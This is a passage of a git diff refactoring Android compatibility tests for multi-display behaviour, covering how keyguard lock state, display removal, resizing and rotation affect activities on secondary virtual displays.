- final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- lockScreenSession.setLockCredential();
+ public void testVirtualDisplayHidesContentWhenLocked() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
- // Create new usual virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(true)
- .createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ // Create new usual virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true /* visible */);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true /* visible */);
- // Lock the device.
- lockScreenSession.gotoKeyguard();
- waitAndAssertActivityState(TEST_ACTIVITY, STATE_STOPPED,
- "Expected stopped activity on secondary display ");
- mAmWmState.assertVisibility(TEST_ACTIVITY, false /* visible */);
+ // Lock the device.
+ lockScreenSession.gotoKeyguard();
+ waitAndAssertActivityState(TEST_ACTIVITY, STATE_STOPPED,
+ "Expected stopped activity on secondary display ");
+ mAmWmState.assertVisibility(TEST_ACTIVITY, false /* visible */);
- // Unlock and check if visibility is back.
- lockScreenSession.unlockDevice();
+ // Unlock and check if visibility is back.
+ lockScreenSession.unlockDevice();
- lockScreenSession.enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone();
- mAmWmState.assertKeyguardGone();
- waitAndAssertActivityState(TEST_ACTIVITY, STATE_RESUMED,
- "Expected resumed activity on secondary display");
- mAmWmState.assertVisibility(TEST_ACTIVITY, true /* visible */);
- }
+ lockScreenSession.enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ waitAndAssertActivityState(TEST_ACTIVITY, STATE_RESUMED,
+ "Expected resumed activity on secondary display");
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true /* visible */);
}
/**
* Tests that private display cannot show content while device locked.
*/
@Test
- public void testPrivateDisplayHideContentWhenLocked() throws Exception {
- try (final LockScreenSession lockScreenSession = new LockScreenSession();
- final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- lockScreenSession.setLockCredential();
+ public void testPrivateDisplayHideContentWhenLocked() {
+ final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
- final ActivityDisplay newDisplay =
- virtualDisplaySession.setPublicDisplay(false).createDisplay();
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(false)
+ .createDisplay();
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- lockScreenSession.gotoKeyguard();
+ lockScreenSession.gotoKeyguard();
- waitAndAssertActivityState(TEST_ACTIVITY, STATE_STOPPED,
- "Expected stopped activity on private display");
- mAmWmState.assertVisibility(TEST_ACTIVITY, false /* visible */);
- }
+ waitAndAssertActivityState(TEST_ACTIVITY, STATE_STOPPED,
+ "Expected stopped activity on private display");
+ mAmWmState.assertVisibility(TEST_ACTIVITY, false /* visible */);
}
/**
* Tests whether a FLAG_DISMISS_KEYGUARD activity on a secondary display dismisses the keyguard.
*/
@Test
- public void testDismissKeyguard_secondaryDisplay() throws Exception {
- try (final LockScreenSession lockScreenSession =
- new LockScreenSession(FLAG_REMOVE_ACTIVITIES_ON_CLOSE);
- final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- lockScreenSession.setLockCredential();
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(true).
- createDisplay();
+ public void testDismissKeyguard_secondaryDisplay() {
+ final LockScreenSession lockScreenSession =
+ mObjectTracker.manage(new LockScreenSession(FLAG_REMOVE_ACTIVITIES_ON_CLOSE));
+ lockScreenSession.setLockCredential();
- lockScreenSession.gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- getLaunchActivityBuilder().setUseInstrumentation()
- .setTargetActivity(DISMISS_KEYGUARD_ACTIVITY).setNewTask(true)
- .setMultipleTask(true).setDisplayId(newDisplay.mId)
- .setWaitForLaunched(false).execute();
- waitAndAssertActivityState(DISMISS_KEYGUARD_ACTIVITY, STATE_STOPPED,
- "Expected stopped activity on secondary display");
- lockScreenSession.enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone();
- mAmWmState.assertKeyguardGone();
- mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
- }
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .createDisplay();
+
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(DISMISS_KEYGUARD_ACTIVITY).setNewTask(true)
+ .setMultipleTask(true).setDisplayId(newDisplay.mId)
+ .setWaitForLaunched(false).execute();
+ waitAndAssertActivityState(DISMISS_KEYGUARD_ACTIVITY, STATE_STOPPED,
+ "Expected stopped activity on secondary display");
+ lockScreenSession.enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
}
+ @FlakyTest(bugId = 141674516)
@Test
- public void testDismissKeyguard_whileOccluded_secondaryDisplay() throws Exception {
- try (final LockScreenSession lockScreenSession =
- new LockScreenSession(FLAG_REMOVE_ACTIVITIES_ON_CLOSE);
- final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- lockScreenSession.setLockCredential();
- final ActivityDisplay newDisplay = virtualDisplaySession.setPublicDisplay(true).
- createDisplay();
+ public void testDismissKeyguard_whileOccluded_secondaryDisplay() {
+ final LockScreenSession lockScreenSession =
+ mObjectTracker.manage(new LockScreenSession(FLAG_REMOVE_ACTIVITIES_ON_CLOSE));
+ lockScreenSession.setLockCredential();
- lockScreenSession.gotoKeyguard();
- mAmWmState.assertKeyguardShowingAndNotOccluded();
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- getLaunchActivityBuilder().setUseInstrumentation()
- .setTargetActivity(DISMISS_KEYGUARD_ACTIVITY).setNewTask(true)
- .setMultipleTask(true).setDisplayId(newDisplay.mId)
- .setWaitForLaunched(false).execute();
- waitAndAssertActivityState(DISMISS_KEYGUARD_ACTIVITY, STATE_STOPPED,
- "Expected stopped activity on secondary display");
- lockScreenSession.enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone();
- mAmWmState.assertKeyguardGone();
- mAmWmState.computeState(DISMISS_KEYGUARD_ACTIVITY);
- mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- }
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setPublicDisplay(true)
+ .createDisplay();
+
+ lockScreenSession.gotoKeyguard();
+ mAmWmState.assertKeyguardShowingAndNotOccluded();
+ launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.computeState(SHOW_WHEN_LOCKED_ACTIVITY);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setTargetActivity(DISMISS_KEYGUARD_ACTIVITY).setNewTask(true)
+ .setMultipleTask(true).setDisplayId(newDisplay.mId)
+ .setWaitForLaunched(false).execute();
+ waitAndAssertActivityState(DISMISS_KEYGUARD_ACTIVITY, STATE_STOPPED,
+ "Expected stopped activity on secondary display");
+ lockScreenSession.enterAndConfirmLockCredential();
+ mAmWmState.waitForKeyguardGone();
+ mAmWmState.assertKeyguardGone();
+ mAmWmState.computeState(DISMISS_KEYGUARD_ACTIVITY);
+ mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index d3aabb7..69d599e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -21,7 +21,6 @@
import static android.server.wm.ActivityManagerState.STATE_RESUMED;
import static android.server.wm.ActivityManagerState.STATE_STOPPED;
import static android.server.wm.ComponentNameUtils.getWindowName;
-import static android.server.wm.StateLogger.logAlways;
import static android.server.wm.StateLogger.logE;
import static android.server.wm.WindowManagerState.TRANSIT_TASK_CLOSE;
import static android.server.wm.WindowManagerState.TRANSIT_TASK_OPEN;
@@ -48,23 +47,16 @@
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
-import android.content.ComponentName;
-import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.ActivityManagerState.ActivityDisplay;
+import android.server.wm.ActivityManagerState.DisplayContent;
import android.server.wm.ActivityManagerState.ActivityStack;
import android.server.wm.CommandSession.ActivityCallback;
import android.server.wm.CommandSession.ActivitySession;
import android.server.wm.CommandSession.SizeInfo;
-import android.util.SparseArray;
-
-import androidx.test.filters.FlakyTest;
import org.junit.Before;
import org.junit.Test;
-import java.util.concurrent.TimeUnit;
-
/**
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:MultiDisplayPolicyTests
@@ -72,6 +64,7 @@
* Tests each expected policy on multi-display environment.
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class MultiDisplayPolicyTests extends MultiDisplayTestBase {
@Before
@@ -84,20 +77,20 @@
* Tests that all activities that were on the private display are destroyed on display removal.
*/
@Test
- public void testContentDestroyOnDisplayRemoved() throws Exception {
+ public void testContentDestroyOnDisplayRemoved() {
try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
// Create new private virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ final DisplayContent newDisplay = virtualDisplaySession.createDisplay();
mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
// Launch activities on new secondary display.
launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Launched activity must be on top");
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Launched activity must be resumed");
launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, newDisplay.mId,
- "Launched activity must be on top");
+ waitAndAssertActivityStateOnDisplay(RESIZEABLE_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Launched activity must be resumed");
separateTestJournal();
// Destroy the display and check if activities are removed from system.
@@ -125,17 +118,17 @@
* Tests that newly launched activity will be landing on default display on display removal.
*/
@Test
- public void testActivityLaunchOnContentDestroyDisplayRemoved() throws Exception {
+ public void testActivityLaunchOnContentDestroyDisplayRemoved() {
try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
// Create new private virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ final DisplayContent newDisplay = virtualDisplaySession.createDisplay();
mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
// Launch activities on new secondary display.
launchActivityOnDisplay(LAUNCH_TEST_ON_DESTROY_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(LAUNCH_TEST_ON_DESTROY_ACTIVITY, newDisplay.mId,
- "Launched activity must be on top");
+ waitAndAssertActivityStateOnDisplay(LAUNCH_TEST_ON_DESTROY_ACTIVITY, STATE_RESUMED,
+ newDisplay.mId,"Launched activity must be resumed on secondary display");
// Destroy the display
}
@@ -148,102 +141,93 @@
* Tests that the update of display metrics updates all its content.
*/
@Test
- public void testDisplayResize() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ public void testDisplayResize() {
+ final VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
+ // Create new virtual display.
+ final DisplayContent newDisplay = virtualDisplaySession.createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- // Launch a resizeable activity on new secondary display.
- separateTestJournal();
- launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, newDisplay.mId,
- "Launched activity must be on top");
+ // Launch a resizeable activity on new secondary display.
+ separateTestJournal();
+ launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
+ waitAndAssertActivityStateOnDisplay(RESIZEABLE_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Launched activity must be resumed");
- // Grab reported sizes and compute new with slight size change.
- final SizeInfo initialSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
+ // Grab reported sizes and compute new with slight size change.
+ final SizeInfo initialSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
- // Resize the display
- separateTestJournal();
- virtualDisplaySession.resizeDisplay();
+ // Resize the display
+ separateTestJournal();
+ virtualDisplaySession.resizeDisplay();
- mAmWmState.waitForWithAmState(amState -> {
- try {
- return readConfigChangeNumber(RESIZEABLE_ACTIVITY) == 1
- && amState.hasActivityState(RESIZEABLE_ACTIVITY, STATE_RESUMED);
- } catch (Exception e) {
- logE("Error waiting for valid state: " + e.getMessage());
- return false;
- }
- }, "Wait for the configuration change to happen and for activity to be resumed.");
+ mAmWmState.waitForWithAmState(amState -> {
+ try {
+ return amState.hasActivityState(RESIZEABLE_ACTIVITY, STATE_RESUMED)
+ && new ActivityLifecycleCounts(RESIZEABLE_ACTIVITY)
+ .getCount(ActivityCallback.ON_CONFIGURATION_CHANGED) == 1;
+ } catch (Exception e) {
+ logE("Error waiting for valid state: " + e.getMessage());
+ return false;
+ }
+ }, "the configuration change to happen and activity to be resumed");
- mAmWmState.computeState(false /* compareTaskAndStackBounds */,
- new WaitForValidActivityState(RESIZEABLE_ACTIVITY),
- new WaitForValidActivityState(VIRTUAL_DISPLAY_ACTIVITY));
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true);
- mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY, true);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState(RESIZEABLE_ACTIVITY),
+ new WaitForValidActivityState(VIRTUAL_DISPLAY_ACTIVITY));
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY, true);
- // Check if activity in virtual display was resized properly.
- assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
- 1 /* numConfigChange */);
+ // Check if activity in virtual display was resized properly.
+ assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
+ 1 /* numConfigChange */);
- final SizeInfo updatedSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
- assertTrue(updatedSize.widthDp <= initialSize.widthDp);
- assertTrue(updatedSize.heightDp <= initialSize.heightDp);
- assertTrue(updatedSize.displayWidth == initialSize.displayWidth / 2);
- assertTrue(updatedSize.displayHeight == initialSize.displayHeight / 2);
- }
- }
-
- /** Read the number of configuration changes sent to activity from logs. */
- private int readConfigChangeNumber(ComponentName activityName) throws Exception {
- return (new ActivityLifecycleCounts(activityName))
- .getCount(ActivityCallback.ON_CONFIGURATION_CHANGED);
+ final SizeInfo updatedSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
+ assertTrue(updatedSize.widthDp <= initialSize.widthDp);
+ assertTrue(updatedSize.heightDp <= initialSize.heightDp);
+ assertTrue(updatedSize.displayWidth == initialSize.displayWidth / 2);
+ assertTrue(updatedSize.displayHeight == initialSize.displayHeight / 2);
}
/**
* Tests that when primary display is rotated secondary displays are not affected.
*/
@Test
- public void testRotationNotAffectingSecondaryScreen() throws Exception {
- try (final VirtualDisplayLauncher virtualLauncher = new VirtualDisplayLauncher()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualLauncher.setResizeDisplay(false)
- .createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ public void testRotationNotAffectingSecondaryScreen() {
+ final VirtualDisplayLauncher virtualLauncher =
+ mObjectTracker.manage(new VirtualDisplayLauncher());
+ // Create new virtual display.
+ final DisplayContent newDisplay = virtualLauncher.setResizeDisplay(false).createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- // Launch activity on new secondary display.
- final ActivitySession resizeableActivitySession =
- virtualLauncher.launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay);
- waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, newDisplay.mId,
- "Top activity must be on secondary display");
- final SizeInfo initialSize = resizeableActivitySession.getConfigInfo().sizeInfo;
+ // Launch activity on new secondary display.
+ final ActivitySession resizeableActivitySession =
+ virtualLauncher.launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay);
+ waitAndAssertActivityStateOnDisplay(RESIZEABLE_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Top activity must be on secondary display");
+ final SizeInfo initialSize = resizeableActivitySession.getConfigInfo().sizeInfo;
- assertNotNull("Test activity must have reported initial size on launch", initialSize);
+ assertNotNull("Test activity must have reported initial size on launch", initialSize);
- try (final RotationSession rotationSession = new RotationSession()) {
- // Rotate primary display and check that activity on secondary display is not
- // affected.
- rotateAndCheckSameSizes(rotationSession, resizeableActivitySession, initialSize);
+ final RotationSession rotationSession = createManagedRotationSession();
+ // Rotate primary display and check that activity on secondary display is not affected.
+ rotateAndCheckSameSizes(rotationSession, resizeableActivitySession, initialSize);
- // Launch activity to secondary display when primary one is rotated.
- final int initialRotation = mAmWmState.getWmState().getRotation();
- rotationSession.set((initialRotation + 1) % 4);
+ // Launch activity to secondary display when primary one is rotated.
+ final int initialRotation = mAmWmState.getWmState().getRotation();
+ rotationSession.set((initialRotation + 1) % 4);
- final ActivitySession testActivitySession =
- virtualLauncher.launchActivityOnDisplay(TEST_ACTIVITY, newDisplay);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Top activity must be on secondary display");
- final SizeInfo testActivitySize = testActivitySession.getConfigInfo().sizeInfo;
+ final ActivitySession testActivitySession =
+ virtualLauncher.launchActivityOnDisplay(TEST_ACTIVITY, newDisplay);
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Top activity must be on secondary display");
+ final SizeInfo testActivitySize = testActivitySession.getConfigInfo().sizeInfo;
- assertEquals("Sizes of secondary display must not change after rotation of primary"
- + " display", initialSize, testActivitySize);
- }
- }
+ assertEquals("Sizes of secondary display must not change after rotation of primary"
+ + " display", initialSize, testActivitySize);
}
private void rotateAndCheckSameSizes(RotationSession rotationSession,
- ActivitySession activitySession, SizeInfo initialSize) throws Exception {
+ ActivitySession activitySession, SizeInfo initialSize) {
for (int rotation = 3; rotation >= 0; --rotation) {
rotationSession.set(rotation);
final SizeInfo rotatedSize = activitySession.getConfigInfo().sizeInfo;
@@ -257,52 +241,39 @@
* on an external secondary display.
*/
@Test
- public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
+ public void testExternalDisplayActivityTurnPrimaryOff() {
// Launch something on the primary display so we know there is a resumed activity there
launchActivity(RESIZEABLE_ACTIVITY);
waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY,
"Activity launched on primary display must be resumed");
- try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession();
- final PrimaryDisplayStateSession displayStateSession =
- new PrimaryDisplayStateSession()) {
- final ActivityDisplay newDisplay = externalDisplaySession
- .setCanShowWithInsecureKeyguard(true).createVirtualDisplay();
+ final DisplayContent newDisplay = createManagedExternalDisplaySession()
+ .setCanShowWithInsecureKeyguard(true).createVirtualDisplay();
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- // Check that the activity is launched onto the external display
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity launched on external display must be resumed");
- mAmWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
- RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
+ // Check that the activity is launched onto the external display
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Activity launched on external display must be resumed");
+ mAmWmState.assertFocusedAppOnDisplay("App on default display must still be focused",
+ RESIZEABLE_ACTIVITY, DEFAULT_DISPLAY);
- separateTestJournal();
- displayStateSession.turnScreenOff();
+ separateTestJournal();
+ mObjectTracker.manage(new PrimaryDisplayStateSession()).turnScreenOff();
- // Wait for the fullscreen stack to start sleeping, and then make sure the
- // test activity is still resumed.
- int retry = 0;
- int stopCount = 0;
- do {
- stopCount = (new ActivityLifecycleCounts(RESIZEABLE_ACTIVITY))
- .getCount(ActivityCallback.ON_STOP);
- if (stopCount == 1) {
- break;
- }
- logAlways("***testExternalDisplayActivityTurnPrimaryOff... retry=" + retry);
- SystemClock.sleep(TimeUnit.SECONDS.toMillis(1));
- } while (retry++ < 5);
-
- if (stopCount != 1) {
- fail(RESIZEABLE_ACTIVITY + " has received " + stopCount
- + " onStop() calls, expecting 1");
- }
- // For this test we create this virtual display with flag showContentWhenLocked, so it
- // cannot be effected when default display screen off.
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity launched on external display must be resumed");
+ // Wait for the fullscreen stack to start sleeping, and then make sure the
+ // test activity is still resumed.
+ final ActivityLifecycleCounts counts = new ActivityLifecycleCounts(RESIZEABLE_ACTIVITY);
+ if (!Condition.waitFor(counts.countWithRetry(RESIZEABLE_ACTIVITY + " to be stopped",
+ countSpec(ActivityCallback.ON_STOP, CountSpec.EQUALS, 1)))) {
+ fail(RESIZEABLE_ACTIVITY + " has received "
+ + counts.getCount(ActivityCallback.ON_STOP)
+ + " onStop() calls, expecting 1");
}
+ // For this test we create this virtual display with flag showContentWhenLocked, so it
+ // cannot be effected when default display screen off.
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Activity launched on external display must be resumed");
}
/**
@@ -310,30 +281,29 @@
* on that display.
*/
@Test
- public void testExternalDisplayToggleState() throws Exception {
- try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- final ActivityDisplay newDisplay = externalDisplaySession.createVirtualDisplay();
+ public void testExternalDisplayToggleState() {
+ final ExternalDisplaySession externalDisplaySession = createManagedExternalDisplaySession();
+ final DisplayContent newDisplay = externalDisplaySession.createVirtualDisplay();
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- // Check that the test activity is resumed on the external display
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity launched on external display must be resumed");
+ // Check that the test activity is resumed on the external display
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Activity launched on external display must be resumed");
- externalDisplaySession.turnDisplayOff();
+ externalDisplaySession.turnDisplayOff();
- // Check that turning off the external display stops the activity, and makes it
- // invisible.
- waitAndAssertActivityState(TEST_ACTIVITY, STATE_STOPPED,
- "Activity launched on external display must be stopped after turning off");
- mAmWmState.assertVisibility(TEST_ACTIVITY, false /* visible */);
+ // Check that turning off the external display stops the activity, and makes it
+ // invisible.
+ waitAndAssertActivityState(TEST_ACTIVITY, STATE_STOPPED,
+ "Activity launched on external display must be stopped after turning off");
+ mAmWmState.assertVisibility(TEST_ACTIVITY, false /* visible */);
- externalDisplaySession.turnDisplayOn();
+ externalDisplaySession.turnDisplayOn();
- // Check that turning on the external display resumes the activity
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity launched on external display must be resumed");
- }
+ // Check that turning on the external display resumes the activity
+ waitAndAssertActivityStateOnDisplay(TEST_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Activity launched on external display must be resumed");
}
/**
@@ -350,8 +320,9 @@
// display.
mAmWmState.getAmState().computeState();
final int displayCount = mAmWmState.getAmState().getDisplayCount();
- try (final ExternalDisplaySession externalDisplaySession = new ExternalDisplaySession()) {
- final ActivityDisplay newDisplay = externalDisplaySession.createVirtualDisplay();
+ try (final VirtualDisplaySession externalDisplaySession = new VirtualDisplaySession()) {
+ final DisplayContent newDisplay = externalDisplaySession
+ .setSimulateDisplay(true).createDisplay();
launchActivityOnDisplay(VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId);
waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId,
"Virtual activity should be Top Resumed Activity.");
@@ -359,7 +330,7 @@
VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId);
}
mAmWmState.waitFor((amState, wmState) -> amState.getDisplayCount() == displayCount,
- "Waiting for external displays to be removed");
+ "external displays to be removed");
assertEquals(displayCount, mAmWmState.getAmState().getDisplayCount());
assertEquals(displayCount, mAmWmState.getAmState().getKeyguardControllerState().
mKeyguardOccludedStates.size());
@@ -370,69 +341,57 @@
* visibility is not affected.
*/
@Test
- public void testLaunchActivitiesAffectsVisibility() throws Exception {
+ public void testLaunchActivitiesAffectsVisibility() {
// Start launching activity.
launchActivity(LAUNCHING_ACTIVITY);
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true /* visible */);
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true /* visible */);
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- // Launch activity on primary display and check if it doesn't affect activity on
- // secondary display.
- getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY).execute();
- mAmWmState.waitForValidState(RESIZEABLE_ACTIVITY);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true /* visible */);
- mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
- mAmWmState.assertResumedActivities("Both displays must have resumed activities",
- new SparseArray<ComponentName>(){{
- put(DEFAULT_DISPLAY, RESIZEABLE_ACTIVITY);
- put(newDisplay.mId, TEST_ACTIVITY);
- }}
- );
- }
+ // Launch activity on primary display and check if it doesn't affect activity on
+ // secondary display.
+ getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY).execute();
+ mAmWmState.waitForValidState(RESIZEABLE_ACTIVITY);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true /* visible */);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
+ assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, RESIZEABLE_ACTIVITY),
+ pair(newDisplay.mId, TEST_ACTIVITY));
}
/**
* Test that move-task works when moving between displays.
*/
@Test
- public void testMoveTaskBetweenDisplays() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- mAmWmState.assertFocusedActivity("Virtual display activity must be on top",
- VIRTUAL_DISPLAY_ACTIVITY);
- final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
- ActivityStack frontStack = mAmWmState.getAmState().getStackById(
- defaultDisplayStackId);
- assertEquals("Top stack must remain on primary display",
- DEFAULT_DISPLAY, frontStack.mDisplayId);
+ public void testMoveTaskBetweenDisplays() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
